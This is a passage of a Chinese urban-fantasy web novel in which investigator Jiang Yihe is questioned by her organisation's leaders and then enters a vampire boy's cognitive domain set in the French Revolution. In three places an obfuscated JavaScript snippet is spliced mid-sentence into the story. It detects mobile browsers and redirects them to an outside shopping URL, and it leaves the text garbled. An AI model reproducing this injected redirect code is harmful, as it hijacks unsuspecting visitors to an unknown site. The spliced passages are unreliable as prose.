阵阵哼唱声中,她听到了安娜的声音从很远的地方传来: “晚安,孩子们。不要放弃希望。” 无法抵挡的困倦袭来,江一和坐在地上,趴在花丛中间沉沉睡去。 * “还没进展吗?”陈雾的手指在操控台上焦躁地敲击着,再次发问。 “马上。”回答的依然是那个银发少年,他嘴里说着话,眼睛依然紧紧盯着数据,“已经定位到两个异常体的力量残留了——【烦躁】阿伦,和【恐惧】加奈特,但它们跑得很快,我正在反追踪情绪波动信号。” “【恐惧】……是它啊,那个怪物。”戴单边眼镜的男人嘴边的笑容更大了些,“七大罪以外的异常体里面,能跟苏词过招的可没几个。” 说着他又笑眯眯地看向陈雾:“哎,我倒是一直想研究一下苏词,你说一个人类到底是怎么强到她那种地步的?” “你要是不怕挨揍,我倒是不会拦着你。”陈雾斜斜地看了他一眼,不再理他。 “啧,随便问问嘛,何必激动。”男人状似无辜地摊摊手,“华南区主管陈雾女士,护短之名可是名声在外,我哪敢碰你的人。” “找到了。”银发少年水银般的眼睛突然轻轻闪烁起来,“大型群体认知域,包含时空混合。这样的规模——” 陈雾挑了挑眉,说道:“是冲总部来的?” “是。”银发少年眼中也逐渐有数据在闪动,“认知域的主体是战争,如果我们接入,就会有一支无穷无尽的军队入侵,同时可能将造成时空混乱、战争情绪侵蚀。” 他将手轻轻放在平台上,一道光芒逐渐笼罩了上去,声音也变轻了:“根据CRC紧急事务处理条例,三位及以上六席或轮值六席级别的管理者全票通过,即可行使接入大型认知域权限。我现在提议,立即接入该大型群体认知域,请两位投票。” 陈雾干脆利落地回答道:“我同意。” 另外那个男人也摊了一下手,依然笑眯眯地说道:“这么好的研究机会我可不想错过,我同意。” 银发少年手上的光芒逐渐扩大,说道:“那就麻烦雾姐发出通知,以六席的名义通知各部门,即将接入大型群体认知域,请全球所有外勤部门待命调查员、所有任务协调中心可战斗支援人员,做好战斗准备。” 陈雾打开通讯,正要说话,屏蔽罩上突然传来一阵嗡鸣声,一道裂缝撕开了虚空,发出了刺耳的噼里啪啦声之后,从里面吐出了两个人来—— 正是浑身裂痕、身上冒着黑色雾气的苏词,以及她手里提着的,身体只剩了一半、昏迷不醒的江一和。 然后两人一起倒在了平台上。 * 再次清醒过来的时候,江一和已经躺在了病床上。 她脑子还是昏沉沉的,睁开眼睛只能看见一片模糊的白色,一时分不清自己到底是在现实世界还是在梦里。 想伸手去揉眼睛,手却沉重地抬不起来,另一个声音则在她耳边响起:“醒了?” 闭上眼睛缓了缓,她再次睁开眼睛,终于看清了眼前穿着白色护士服装的人,正伸着手在换药水。 一连串的记忆涌入她的脑袋,她张嘴想说话,却只发出了一个音节:“师……” 护士似乎明白她想说什么,换好药水之后,安抚地轻拍了一下她的手臂,说道:“别担心,有人照顾她。你现在位于现实世界,因为意识损耗较大,身体可能会比较沉重,这都是正常现象,好好休息就会没事。” 如她所言,江一和不过是睁了一会儿眼,就已经觉得疲惫不堪,干脆又闭上眼睛,立马又是一阵眩晕袭来,很快又沉沉睡去。 就这样,她像个婴儿般一直醒醒睡睡的,直到一个星期后才基本上痊愈,终于离开了病房。 像惯常一样来到华南分部的办公室,刚刚推开门,便看见会议桌前坐了三个人,中间是那个银色卷发少年,左右两边她不认识,一个是三十来岁的女子,另外一个是个四十岁左右的男人。 卷发少年正是那位信息部的阿金特,传闻中最平易近人,在公众面前出现最多的CRC最高管理者常驻六席之一,大家平时都叫他阿金。但——他们怎么会在这里? 微微一怔,江一和说道:“你们……要借用会议室吗?那你们先用。” 阿金的脸上露出他标志性的睡意迷糊般的笑容,水银般的眼睛中毫无高光,看起来有几分非人感,语气倒是十分温和:“不,调查员江一和——我们是代表六席来找你的,请锁上门,打开感知屏蔽系统好吗?” “哦……”江一和想到了什么,“因为那个人的事情吧?” 她关上门,顺手在墙上的开关上按了一下,一道浅浅的白光便笼罩了整个办公室。 在阿金桌子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299241|198620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面坐下后,阿金微笑着对她颔首,说道:“那我就开门见山了。你在报告中提到,你见到了那位菲尼斯女士,并成为了博物馆馆长,对吗?” “是。” “成为馆长,意味着你能使用异常体的能力,并有可能成为情绪世界的神,你是否了解?” “在CRC历史公开课中听过。” “我们至今未能揭开那位菲尼斯女士的身份之谜,你此次与她相见,是否有所收获?” “只知道她不尊重别人隐私,还是个话痨。” 阿金明显停顿了一下,又保持着微笑,继续提问: “终端日志记录显示,你的那段经历并未被记录下来。” “我不清楚,可能那里有某种干扰。” “之后你就到了战场混合的大型认知域,并遭遇了异常体阿伦与异常体加奈特?” “对。” “那么……”阿金的语气突然加重了一些,眼中有一道光芒闪过,“苏词的报告中显示,她正在对抗该大型认知域的情绪奇点,整个战场的情绪漩涡突然被驱散,奇点随后被收容,这件事——是你完成的吗?” 江一和没有立即回答,而是仔细的思索了一下,脸上闪过了一丝不确定:“我……好像不记得了。” “调查员江一和。”阿金隔壁那个男人用指节敲了敲桌子,脸色沉郁,“向CRC隐瞒认知域内事实,对你并无好处。” 江一和对他微微一笑:“不好意思,我记性确实不好。” “江一和,你是否知道——”另一边的女人也声音温和地开口道,“CRC历史上,成为馆长的四位调查员后来的结局?” “知道。”江一和把目光转向了她,“一死、一疯、一失踪、一背叛。” “那你也该知道,她们对世界造成的重大创伤。”男人又敲了敲桌子,抢回了问题。 “那是她们做的,与我何干?”江一和叹了口气:“几位尊敬的领导,唱红白脸也没有用处,请问我有什么隐瞒的必要吗?科研部已经对我做了全面检查,你们该去问他们。” “江一和,不要太目无领导。”男人脸色再度阴沉,“六席有权对你进行质询,你若不肯配合,我想我们有必要采取强制措施。” “够了。” 江一和尚未答话,另一边的黑暗中,传来了一个声音。 “雾姐?”江一和循声望去,一道灯光亮起,靠在椅子上的陈雾站了起来,拿起外套甩在肩上,走到门边,关掉屏蔽开关,打开了门。 “陈雾,我们允许你旁听已经作出让步了。”男人脸色更显难看,“不要得寸进尺。” “切。”陈雾拉了一下肩上的外套,斜眼看了一眼江一和,“走不走,小鱼在群里问要不要喝奶茶。” 江一和迅速站了起来,无视了身后三道眼神,跟着陈雾走了出去,接道:“我要茉莉乌龙,加奶盖碧根果。” 啪! 男人站了起来,一巴掌拍在桌上,看向另外两人:“她们这像什么样子?” 阿金毫不在意地笑了笑:“听闻华南分部的调查员,都很爱装,果然是真的。” “你就一点也不生气?”男人一脸的怒气。 “为什么要生气呢?”阿金反问道,“该知道的都知道了,问不出来的,逼问也没有用。毕竟,她还是我们自己的调查员呢,我们总不能把她推到七大罪那边。” “你!”男人扫了一眼两人淡定的表情,一股气发不出来,怒气冲冲地推开椅子,走了出去。 “哎……”见他走远,女人看了一眼还在打转的办公椅,微微摇头,叹气道,“六席之中为什么还留着这种蠢货。” “嗯。”阿金脸上又露出了那种迷迷糊糊的笑容,“就算是我们这样的机构,也少不了人情世故啊。” 5. 旧制度与大革命(1) 之后,江一和并没有找到进入那个博物馆的方式,也就暂时没有理它,依然上着班,交着报告。 六席也没有再来找她谈话,似乎这件事情从来没有发生过。 苏词还没出院,这天江一和照例来病房看她,到那儿的时候,陈雾正在床边的陪护椅上靠着,姿势优雅地翘着二郎腿,翻看一本时尚杂志。 苏词穿着病号服半躺在床上,脸色略有些苍白,没有了平时那股剑一般的气势,只是依然保持着常年训练人士的笔挺身姿,哪怕躺在床上,也像一个小偷见了都会绕路走的便衣警察。 江一和走过去,将奶茶递给苏词,问道:“师父,你好点了吗?” 苏词接过奶茶,对江一和微微一笑,答道:“还行。”又指了指旁边的陈雾,“把这家伙给我弄走就更好了。” 一旁的陈雾从杂志后抬起下巴,单手伸了个懒腰说道:“哎呀还真是无情的人,我可是好心好意怕你无聊,特地带杂志来给你看的。” “嗯,然后你就坐这儿自己看了半天。”苏词毫不客气地戳穿了她。 “不是你自己说不喜欢看的?” “原来你知道我不喜欢吗?带过来就是为了拿我当借口摸鱼吧。” 江一和见她看上去精神还不错,也就放下心来,拖过另一条椅子过来坐下,继续问道:“什么时候能出院?” “过两天吧,免得这个没人性的家伙马上把我抓去出任务。”苏词答道。 陈雾在一边“切”了一声,继续翻着时尚杂志,貌似随意地说道:“最近还算太平,用不到你。小鱼和飞舟都从华北区回来了,忒休斯情况稳定,沈鸥也没出什么幺蛾子,一个多月了竟然一条管理条例都没犯。” “嗯。”苏词喝了一口奶茶,又问江一和,“六席那边没再找你麻烦吧?” 江一和摇头,陈雾则哼了一声:“好歹我也是轮值六席之一。” “连科研部也没发现异常吗?那个技术主管伊索塔,也没说什么?”苏词不放心地问道。 “没有,她没出现。” “是么?那应该没有什么大问题。”苏词思索了一下,“不过你以后再去科研部的话,记得小心她,不要随便答应她什么事情。” “哎,姐姐听到这种话可是会伤心的。” 一个男人的声音突然响起来,江一和回头一看,见到一个戴着单边眼镜的男人,笑眯眯地从病房外走了进来。 “这个也需要小心——两姐弟都是疯子。”苏词脸色平淡地看了他一眼。 男人“啧”了一声,摊开手:“我也很伤心哪,刚刚才把你从死神那里拉回来,你就这样对我。” 他说完也没等苏词回答,转头对江一和伸出手:“江一和是吗?你还不认识我吧,我叫柯西莫·罗索,意大利人,叫我柯西莫就好。” 那个传闻中的科研部医疗主管?负责研究异常体和认知域精神类药物开发,据说曾经拿过一个调查员的深层潜意识去做实验,搞出一个认知错乱的意识体,差点掀翻整个总部。 江一和站起身,礼貌性地跟他握了握手。 一旁的陈雾半靠在椅子上,头也不抬地说道:“有事说事。” “陈雾主管莫非是有读心术吗?”柯西莫眯着眼睛的笑容愈发扩大了,说道,“好吧,我给你们带了一个好消息。” “放。”陈雾言简意赅。 柯西莫微微低头,扫了一眼苏词,镜片上光芒一闪,顿了一会儿才开口道:“欧洲外勤部在法国南部发现了【嫉妒】的踪迹。” 话音一落,江一和明显地感觉到空气凝滞了一瞬。 陈雾嘴角浮现出一个冷笑,放下了手中的杂志,说道:“你想干什么?” 柯西莫眼神转到苏词身上,并没有回答这个问题,而是继续说着他的消息:“他仍然处于重伤未愈的状态,中心判断这是抓他的最好机会,打算从北美分部抽调人手去调查支援,你们要是想争取这次行动,可得抓紧时间了。” 苏词的表情始终未变,此时迎着他的目光微微一笑,说道:“你想看看我的极限?” “啪——啪——啪——”柯西莫仿佛听到了什么令人陶醉的音乐一样,重重地鼓了几次掌,说道:“苏词女士,我真心希望你能再恢复一个月,但我知道你肯定不想错过这个机会,对吧?” “当然。”苏词淡淡地说道,“你有什么实验品,可以拿出来了。” “师父,你刚刚才说这人不可靠吧?我们去就可以了。”江一和又坐回了椅子上,顺势拉近了一些到床边。 苏词还没答话,柯西莫倒是先用一脸故作夸张的感动表情看了过来,说道:“哟,你这位新徒弟也对你很好嘛,不输原来那个……叫什么树还是叶来着——” 陈雾在一旁拍了一下杂志,目光更冷了:“你能不能给我闭嘴。” 柯西莫耸了耸肩:“OK,我闭嘴。哎呀,明明是在帮你们,却总是得不到好脸色,啧啧。” 他仿佛变魔术一般将手掌一翻,拿出一个看上去很普通的小药瓶,放到桌子上,说道:“开发中药品,意识体疫苗。作用是迅速清除并隔离高污染认知域内的情绪侵蚀,跟苏词女士可谓绝配。但副作用嘛……未知。” 他放下药瓶后,举起双手,做出一个投降的手势,像来时那样笑眯眯地离开了。 陈雾没有说话,只是靠在椅子上,双手抱胸,仰起头一副懒得说话的表情。 苏词则转过头看着她,也没开口。 陈雾闭上眼,有些头疼似的按了按脑袋,过了一会儿才睁开眼睛,说道:“让飞舟和沈鸥跟你们一起去吧,忒休斯和小鱼待命接应,近期间附近的其他突发事务我来解决。” 她说完就站了起来,准备往外走,苏词突然在后面说道:“对了,一和,小叶子的档案你看过吧?” “嗯,是师父之前的徒弟,三年前被维梅尔——也就是七大罪之【嫉妒】杀死。”江一和回答着,眼角的余光看见陈雾的脚步很轻微地顿了一下,没有回头,径 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299242|198620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直离开了。 苏词看她离开,收回目光,缓缓地喝了一口奶茶,说道:“今天的少糖太甜了。” * 三天后,法国南部某镇。 “让你们支援小队冒这么大风险,真是抱歉……”一个梳着整齐背头马尾的深金发女子跟几人一一握手。 “没事,我们都是战友,你们一直在盯着最活跃的【暴食】,已经很辛苦了。”苏词说完之后,双方道了别,一行四人拿着邀请函来到了一座古堡庄园前。 “就是这里了吧?”一头蓝发的沈鸥单手插兜,关掉手机导航,看向那座颇为古旧的城堡。 城堡建在一个小山坡上,外墙看上去很有历史的沧桑感,但保养的还不错,整体干净整洁,墙上的装饰也像是换过了新的,红色与暗金色搭配,十分典雅。 几人沿着山坡前的阶梯走进了城堡大门,一个身穿古典皇家守卫服饰的人恭敬地接过邀请函,再引他们进入了大厅。 大厅里,原本像是一个贵族生活的大客厅,现在被改造成了一个小小的歌剧院,底下却并非传统的观众坐席,而是像餐厅一样的小长桌,桌上摆着名贵的红酒和小点心,不时有侍者来来去去,送上食物。 “怪不得这么贵,原来是这种私宴性质的歌剧院……”坐到了位置上,沈鸥拿过菜单看了一眼,啧了一声,“不愧是上流社会。” “任务简报上说,近期剧院外出现了一些群体异常,很多人声称自己看到了吸血鬼,也有人说看到的是一个长翅膀的撒旦,这些目击者大部分出现了一定程度的精神恍惚,符合情绪污染的特征。”苏词随意地环顾了一下四周,说道,“注意观察异常情况。” “我觉得这里最异常的就是飞舟了。”沈鸥笑嘻嘻地拍在白飞舟的肩上,“看,修仙男主角误入西幻。” 白飞舟身穿一身白色镶金暗纹的汉服,一头长发用亮闪闪的银冠束着,剑眉星目唇红齿白,倒确实有点仙侠偶像剧男主的意思,此时听了沈鸥的话,下巴微抬,哼了一声:“见识浅短,君不识coser乎?” “又来了,说人话。”沈鸥话音刚落,大厅突然一暗,四周也安静了下来。 江一和看向舞台,见到刚才还在致辞的主持人已经退了下去,灯光亮起,一场舞台剧开始上演。 “是《玛丽王后》改编的。”白飞舟悄声说。 “你不是东方仙侠那一派的吗,居然还懂西方文学?”沈鸥有些意外。 “中西贯通,乃学问之根本。”白飞舟衣袖一摆,作出一副高人摸样。 “古堡主人刚刚报了幕。”苏词随口喝了一口红酒。 “你们这群口相声说的不错啊。”江一和一边盯着舞台,一边掺和了进去。 舞台上的故事也逐渐进入高潮,来到了玛丽王后在经历审判后,被押上了断头台的片段。 大厅中再次一暗,背景中电闪雷鸣,断头台上的铡刀高高落下,江一和猛地站起身——一个头颅已向她咕噜噜地滚了过来! 6. 旧制度与大革命(2) 尚未察觉异常,江一和身边已经空无一人,只剩下一片黑暗。 古堡和桌椅都已然消失,黑暗中,舞台上一道聚光灯打下,只有那架断头台,和趴在断头台上、身首分离的“玛丽王后”还静静地伫立着。 她伸出手,投射出一架金色的天平,天平的刻度缓慢地向左移动,然后平稳地停在罗马数字Ⅲ下,天平左侧的托盘中渐渐凝聚出一团黑色的雾气,正如毛线团般不断挣扎着。 “Ⅲ级,还挺强的。”她自语了一句,打开终端,在【鸢尾剧院副本】的小群中发出一条信息: 【江一和】:能收到吗? 信息发出后,界面上转了个圈圈,弹出一个感叹号。 没有局域信号,看来进来的是个人认知域。 关掉终端,她低头看向那个滚落在脚底下的头颅,灯光就在此时啪地一声亮了起来,一个十岁左右的小女孩蹲在头颅旁,缓缓地将它抱了起来。 江一和这时看清了,那个头颅是个洋娃娃的脑袋。 “艾丽娅!还在忙什么呢?”一个轻快的声音传来,江一和抬起头,看见自己站在一间华丽的小房间中,门口是一个身穿法式古典贵族服装的少年,大约十六七岁的样子,浅褐色长发下长着一双温柔的清透天蓝色眼睛,此时正面带无奈地看着看了过来,见到房间中的江一和时,眼中闪过瞬间的迷茫,但很快又忽视了她,走向了那个小女孩。 “再不出门,舞会要迟到了哦。”他半弯下腰,撑着膝盖对小女孩说道。 “可是菲比坏掉了啊。”小女孩尝试着将那个洋娃娃的脑袋安到身体上,却始终无法接上。 “明天让玛丽安来帮你重新绣。”少年拿过她手中的洋娃娃头颅,放在了床边,然后单膝跪在地上,低头替她系上鞋带。 “可是玛丽安生病了呀。”小女孩像所有好动的孩子那样左右晃着扭动身体,注意力又迅速转移来开,“快点,哥哥,要赶不上了。” “还不是你自己要赖床。”少年系好鞋带,抬起头露出了浅浅的笑容,额头上垂下的褐色卷发在壁炉的映衬下泛着柔和的光芒。 “是因为玛丽安绣的新裙子太好看啦!”小女孩一蹦一跳地走着,身上精致的粉色蕾丝裙轻轻飘动,裙子上面绣着精细的夜莺与玫瑰图案,犹如活物般灵动。 “你赖床跟新裙子有什么关系?”少年一边伸手从衣帽架上拿下帽子,跟着小女孩向门边走去,一边问道。 小女孩已经蹦跳着跑出了门,留下一串清脆的笑声:“那当然是穿着新裙子舍不得睡觉啦!笨蛋哥哥!” 少年失笑一声,随后又大声喊道:“不要跑这么快,艾丽娅!” 两人离开后,江一和看了一眼天平,右侧的托盘中有一点微光坠入,稍微晃了晃,又重新往左边沉下。 “执念还挺深……只能慢慢找了。”她随意地环视了一下四周。 这是一个典型的贵族小姐房间,床、衣柜、梳妆台都十分华丽,一切都看起来都很寻常,只有床上坐着的那个身首分离的布娃娃显出了几分诡异。 江一和准备推门出去看看,路过梳妆台时脚步一顿,看向了镜子中。 镜子中没有人影,但好像有什么东西一闪而过。 “奇怪……个人认知域中的事物应该符合主人的认知逻辑才对……”她盯着镜子看了好一阵,里面却依然一片空白。 镜子……是那个【嫉妒】维梅尔? 江一和记得培训中讲过,七大罪之【嫉妒】,能力的显像正是镜子,据说能将人传送到不同的世界,让人彻底迷失其中。 他会在这个认知域中吗? 江一和缓缓放出了三个金色字符环绕着跟在身边,保持着警戒,离开了卧室。 卧室外是个走廊,走廊上其他房间都打不开,江一和走到走廊的栏杆前,向下看去,见到下面正是那个古堡的大厅。 但这里并不是那个已经半现代化的歌剧院,而是更接近它四五百年前的样子,没有了那些金碧辉煌的夸张壁画,墙上挂着银质的烛台,地板上铺设着猩红色的地毯,地毯还有着轻微的磨损,整体呈现出了日常家居的模样。 大厅一侧有一个巨大的石雕壁炉,此时正暖融融地燃烧着,一个贵族装束的中年男人坐在壁炉前的沙发上,正仔细翻看着一本账册。 “父亲,我回来了!”之前那个少年从大门外走进来,一身骑士装束,看上去意气风发。 中年男人放下手中的账册,对少年露出一个微笑:“你的炫耀宴会散场了?那么现在该尊称一声拉塞尔骑士了,是吧,阿德里安·德·拉塞尔骑士。” “那也比不过父亲大人啊,您可是尊贵的公爵。”被称为阿德里安的少年对中年男人行了一个骑士礼,蓝眼睛中透出一丝希冀,“您答应我,等我成为骑士,要送我一只新猎鹰的。” 另一侧的花园中,一个中年女子正推门而入,闻言轻斥道:“贵为公爵之子,怎么能耽于玩乐?阿德里安,你的剑术老师说你三天没去练剑了。” 那个叫艾丽娅的小女孩也捧着一束花走了进来,嘻嘻地笑着:“不是我说的哦。” 她蹦蹦跳跳地走到已经一脸委屈的阿德里安身边,拉了拉他的手:“哥哥,蹲下。” 阿德里安依言蹲了下来,艾丽娅便将一支紫罗兰别到了他的胸前的口袋中,又把剩下的花全都塞进他手中,伸出双手在他脸上揉搓了两下,大声喊道:“哥哥是世界上最棒的骑士!” “最棒的骑士,值得最棒的猎鹰。”中年男人对阿德里安扬了扬下巴,又示意了一下中年女子的方向。 阿德里安眼睛一亮,看看父亲,又看看母亲,走到女子身边牵起了她的手,轻轻摇了摇,露出一个大大的笑容:“母亲大人……” 艾丽娅也跟着抱住了女子的大腿,仰着头摇晃着身体:“母亲~大人~” 中年女子脸上显出了几分无奈,神色缓了下来,瞪了沙发上的男人一眼,对阿德里安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299243|198620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“行啦,已经在路上了,过几天就能送到。” “母亲大人天下第一!”阿德里安欢呼了一声,转身又往外走去,“我现在就去找剑术老师补上三天的课程!” “母亲大人天下第一!”艾丽娅跟着附和道,手里还在抱着中年女子的腿,笑嘻嘻地眨了眨眼,“但是哥哥撒娇的能力天下第一!” “那也比不上你!”阿德里安的声音远远地传来,下一秒,大厅中的三个人都猛然崩塌,像流沙一般散在了空气之中。 空气瞬间凝滞了起来,连壁炉的火焰都静止不动了。 江一和看见天平右侧又多了一份光芒,但还远远不足以撼动左侧的重量。 “果然,幸福的份量总是最轻的。”她低声说了一句,走下楼梯。 在走下最后一节阶梯时,她脚步一顿,缓缓侧头,看向挂在墙上的一副肖像画。 画中不知道是拉塞尔家族中的哪一位,但形象跟阿德里安有几分神似。 四周的光线在瞬间暗了下来,画中人的褐色头发变成了一头银白,蓝眼睛也渐渐渗出了红色雾气,嘴边长出了尖牙,接着,走廊上、大厅上所有画像都发生了同样的变化,随后,江一和便听到了一个愤怒的声音: “给我……从我的家里滚出去!” 是阿德里安。 尖利的叫声纷纷杂杂地响起,江一和身上的字符金光大闪,她踏下了最后一步楼梯,金色光芒在空中道道闪过,将那些蝙蝠刺穿,刷地一声钉在墙壁上。 走到大厅中间时,她转过身来,对着走廊上悬空而立的少年摊开了手,微笑道:“需要我补一张邀请函吗?” 少年一头银白色长发,红色瞳孔中盛满戾气,他身上穿着的依然是那套贵族服饰,只是底色从浅蓝变成了暗红色,上面多了些黑色玫瑰纹路装饰,胸前的口袋着插着一支枯萎的紫罗兰,身后的披风则在风中无风自动,无数蝙蝠自它披风下飞出,尖啸着冲向江一和。 “认知干扰已达阈值。” 江一和听见终端的提示,轻微挑眉,手中一支莹白长剑已然出手,她身形也如剑,往上一跃,直刺向阿德里安! 砰砰砰—— 连续的几声碎裂声响起,阿德里安身后那些肖像画全都在同一时间碎裂,如同镜子般炸成了无数碎片,并在空中快速拼合了起来,在阿德里安身前形成了一面巨大的镜子。 江一和一剑刺碎了那面巨大的镜子,身边却一晃、再晃,她只觉得整个世界都在崩塌、收缩,接着,一阵巨大的冲击力从前方传来,将她撞飞了出去。 金色字符迅速张开,在她身边形成了一个茧型的屏障,下一秒,世界又重复着颠倒、破碎、重组——然后再次完整。 她轻巧地落了地,身边的金色字符接连破碎。 “竟然被踢出来了……”环顾了一下四周,她看见自己正站在一个人声鼎沸的广场上,身边人潮汹涌,而前方不远处,伫立着一架高高的断头台。 7. 旧制度与大革命(3) 昏黄又阴沉的天空之下,断头台沉默地矗立在广场上,四周聚集着狂热地喊叫着的人群。 通讯装置滴滴地响了起来,江一和进入了通讯界面,看到了【绯红鸢尾副本】小群里涌出来的延迟信息: 【苏词】:测试 【沈鸥】:嗨嗨,能收到吗? 【江一和】:你们在哪? 【白飞舟】:救命,我进了仙侠剧! 江一和正准备发送消息,新消息又跳出来了: 【苏词】:收到的打1 【江一和】:1111111 【沈鸥】:1111111111111 【沈鸥】:可算是有信号了 【沈鸥】回复白飞舟“救命,我进了仙侠剧!”:那你不是应该很开心? 【白飞舟】:111 【白飞舟】:现在我到了个很奇怪的地方,好像是个巨大的下水道,又脏又臭 【白飞舟】回复【沈鸥】“那你不是应该很开心?”:好消息:是仙侠剧,坏消息:变成反复被主角打脸的反派了 【苏词】:看来是维梅尔设的阻碍,@江一和,一和呢? 【江一和】:我直接进入了目标奇点人物的个人认知域,但不确定维梅尔在不在 【江一和】:接着我就被踢出来了,现在在一个大广场上,你们能看到那个特别高的雕像吗,就是那里 她抬起头,观察了一眼广场前那个足有三层楼高的雕像,又继续发信息: 【江一和】:那个捂着脸哭的天使雕像 【沈鸥】:我看见了!我马上过来 【苏词】:我这边有情况,先调查一下,你们小心,有事呼叫我 【白飞舟】:我看不见啊啊啊我看不见!身边全是老鼠,要了命了!!!我最怕老鼠了啊啊啊! 【沈鸥】:别忘了保持你仙侠偶像剧男主形象[狗头] 江一和正想回复,身边突然一阵喧嚣,人群爆发出疯狂的欢呼声,并拥挤着向前推进。 她也被挤着向前走了几步,来到了断头台前,见到几个士兵推搡着抓着一个人,按在了断头台上。 咔! 断头台干脆利落地落下来,江一和下意识地转开了视线——虽然知道这只是认知域,但这场景未免也太真实了吧? 她继续发信息: 【江一和】:为什么这里看起来特别真实? 【苏词】:大型群体认知域的“现实投射” 【苏词】:情况很复杂,可能是两个以上主核心奇点,再加上历史上的群体潜意识形成的大型认知域 【苏词】:我们的能力也有一定限制,这里的物理规则也更接近现实了 【苏词】:尽量把它当现实看,这里发生的事情可能都是历史真实事件的变体 【沈鸥】:哟,见识到了,是处理不好就真覆盖现实的那种? 【苏词】:对 【白飞舟】:怪不得我的飞剑飞不起来 【白飞舟】:我加入CRC两年了,还是第一次见到这种 【白飞舟】:一和才是主角吧,才半年就见识到了 【江一和】:并不是很想见识 【白飞舟】:拔剑吧,江一和,与吾一战,决出唯一的主角之位! 【江一和】:你先战胜老鼠 【白飞舟】:啊啊啊啊啊不要提醒我啊啊啊啊啊啊 正聊着,广场上又传来了一阵阵惊呼声,天空突然阴暗起来。 江一和抬头一看,只见广场上空,原本昏黄的夕阳像是被拉了灯,只剩下一个黯淡的圆盘。 天空则被染上了暗红色,随后,那个圆盘又逐渐亮起,扩大,往天空上升,变成了一轮巨大、妖异的赤红圆月,突兀地悬挂在天幕之上。 月亮正好在那个哭泣天使的雕像上方,雕像上则站着一个身影,立于血红的月亮中心,漆黑的斗篷在风中飘动,猎猎作响。 身影逆着光,只能看清一个剪影,此时对着底下的人群喊道:“愚昧的罪人们!向吾之永夜献上鲜血吧!” 是阿德里安? 人影还在继续喊着:“你们的罪行将受到黑夜的审判!忠诚的子夜伯爵将向你们复仇,取走你们的性命!” 他将斗篷一掀,无数只蝙蝠哗啦啦地飞了出来,冲向广场。 怎么跟刚才的画风完全不一样?江一和还在想着,身边人群开始喧哗起来。 “吸血鬼!又是那个吸血鬼!” “卫兵!卫兵在哪?” “该死的蝙蝠,打死了也不能吃!” 广场上一片混乱,人们拼命拍打着蝙蝠,江一和身上泛起一阵白光,挡住没什么攻击力的蝙蝠,随后便听见手环中传来提示:“目标奇点人物出现,请打开地图查看位置。” 江一和进入地图界面,果然看见一个红色的点出现在上面,位置很近,有20米的Z轴高度。她抬起头,看向那个雕塑上的身影,打开信息界面开始发信息: 【江一和】:我发现那个目标奇点人物了,是个比飞舟还中二的小孩。 【白飞舟】:? 【江一和】:他好像也变弱了,也是大型群体认知域的影响? 【苏词】:是的,照现实世界进入个人认知域的流程行动吧 【沈鸥】:我看见他了,站在雕像上是吧,啧,还有在认知域内自认为吸血鬼的,少见。 【沈鸥】:我马上到了。 【江一和】:[OK] 她发完信息,又继续去看那个雕像上的阿德里安,他的演讲已经进入新一轮的慷慨激昂:“跪下吧,罪人们!向伟大的子夜伯爵拜服,亲吻他的脚背,承认你们的罪……” 他的话尚未说完,突然就被打断了,一个用喇叭扩大后的声音完全盖过了他的发言—— “公民们!醒醒吧!看看那些人都做了什么!” 这声音洪亮、愤怒,如同惊雷一般将广场上的蝙蝠都震得安静了一瞬。 江一和看向声音的来源,只见在另一边的市政厅屋顶上,一个戴着红色弗里吉亚帽的年轻人,身手矫健地跳上屋檐最高处,将一大把纸片如雪片抛向暗红色的天空。 “高贵的理想已经被亵渎!昔日的革命者已经被腐化!”年轻人声嘶力竭,传单在血红色的月亮下纷纷扬扬,也被镀上了一层血色。 “看看他们!住进了旧贵族的城堡!喝上了旧贵族的葡萄酒!而我们的孩子依然在挨饿!” “他们承诺的公平在哪里?他们背叛了誓言!背叛了我们的鲜血!” 人群再次骚乱起来,一瞬间的错愕之后,纷纷开始捡拾地上的传单。 江一和也随手捞起一张飞过来的传单,还没来得及细看,突然几声枪声响了起来—— 砰!砰!砰!砰! 心里一紧,她看向雕像,见阿德里安似乎被击中了,身体晃了一下,又将斗篷一掀,身影轻盈地向着另一个屋顶飞跃而去。 “抓住他们!这个煽动者跟那个吸血鬼怪物是一伙的!” 卫兵们匆忙地拔枪射击,一边分成两拨向着两人追去。 江一和立即向阿德里安追去,朝着那个屋顶一跃而上,顺便瞥了一眼另一边的市政厅,见到那个散发传单的年轻人中了好几枪,在江一和的角度看过去,正好在血月正中间倒了下去。 另一边,阿德里安在屋顶上不断跳跃,突然再次被子弹击中,身影往屋檐下栽落。 江一和一个飞扑过去,抓住了他的手腕,险险将他拽了回来,将他打横往肩上一扛,敏捷地躲避着子弹,一边不断发消息: 